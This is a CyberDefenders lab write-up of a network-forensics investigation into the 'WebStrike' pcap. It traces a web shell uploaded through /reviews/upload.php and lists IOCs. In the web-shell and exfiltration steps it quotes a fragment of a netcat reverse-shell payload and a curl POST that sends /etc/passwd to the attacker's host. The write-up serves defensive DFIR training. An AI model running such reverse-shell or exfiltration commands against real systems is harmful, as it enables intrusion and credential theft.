

WebStrike - CyberDefenders Lab Writeup

Network Forensics / DFIR Investigation

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1. Lab Overview

Field	Details
Lab Name	WebStrike
Platform	CyberDefenders
Category	Network Forensics / DFIR
File	WebStrike.pcap
Tools Used	Wireshark, AbuseIPDB

2. Attack Chain (MITRE ATT&CK;)

Initial Access -> Execution -> Persistence -> Command and Control -> Exfiltration

Tactic	Technique	ID
Initial Access	Exploit Public-Facing Application	T1190
Execution	Command and Scripting Interpreter: Unix Shell	T1059.004
Persistence	Server Software Component: Web Shell	T1505.003
Command & Control	Non-Standard Port	T1571
Exfiltration	Exfiltration Over C2 Channel	T1041

3. Investigation

Step 1 - Traffic Analysis

Opened WebStrike.pcap in Wireshark and checked Statistics > Conversations to identify communicating hosts.

Field	Value
Total Packets	355
Victim Server	24.49.63.79
Attacker IP	117.11.88.124
Burst Rate	1.4100 starting at 191.361s

Step 2 - OSINT on Attacker IP

Looked up 117.11.88.124 on AbuseIPDB:

Field	Value
ISP	China Unicom Tianjin province network
Usage Type	Fixed Line ISP
ASN	AS4837
Hostname	dns124.online.tj.cn
Abuse Reports	23 times reported
Confidence of Abuse	1%

Step 3 - Identifying the Attack Vector

Applied Wireshark display filter:

```
http.request.method == POST
```

3 POST requests were found targeting the upload endpoint:

Packet	Source	Destination	Info
267	24.49.63.79	117.11.88.124	POST / HTTP/1.1
53	117.11.88.124	24.49.63.79	POST /reviews/upload.php (application/x-php)
63	117.11.88.124	24.49.63.79	POST /reviews/upload.php (application/x-php)

The attacker targeted /reviews/upload.php, exploiting an unrestricted file upload vulnerability.

Step 4 - Web Shell Upload (TCP Stream 5)

Following TCP Stream 5 on packet 63 revealed the malicious file upload payload:

Filename: image.jpg.php | Content-Type: application/x-php

Payload: &1|nc 117.11.88.124 8080 >/tmp/f"); ?>

Observation	Detail
Disguised filename	image.jpg.php (disguised as an image)
Payload type	PHP Reverse Shell
Callback IP:Port	117.11.88.124 on port 8080
Server response	HTTP 200 OK - File uploaded successfully

Step 5 - Exfiltration (TCP Stream 14)

The attacker used curl to send /etc/passwd to their C2 server:

POST / HTTP/1.1 | Host: 117.11.88.124:443 | User-Agent: curl/7.81.0 | Body:
/etc/passwd

Observation	Detail
Exfiltrated file	/etc/passwd (system user credentials)
Attacker tool	curl/7.81.0
C2 server	Python SimpleHTTP/0.6 (Python 3.11.6)
C2 port	443

4. Indicators of Compromise (IOCs)

Type	Value
Attacker IP	117.11.88.124
Victim IP	24.49.63.79
Malicious File	image.jpg.php
Upload Endpoint	/reviews/upload.php
C2 Port	8080
Exfil Port	443
Exfiltrated Data	/etc/passwd

Type	Value
Attacker Tool	curl/7.81.0
C2 Server	Python SimpleHTTP/0.6

5. Lessons Learned

- Unrestricted file uploads are a critical vulnerability. Always validate file types on the server side.
- Double extensions like .jpg.php are a common bypass technique for upload filters.
- Reverse shells via netcat can be detected through outbound network monitoring.
- Outbound connections on non-standard ports like 8080 should always trigger alerts.
- PCAP analysis with Wireshark is a valuable skill for incident response and DFIR.

6. Tools Used

Tool	Purpose
Wireshark	PCAP analysis, TCP stream following, HTTP filtering
AbuseIPDB	IP reputation and OSINT lookup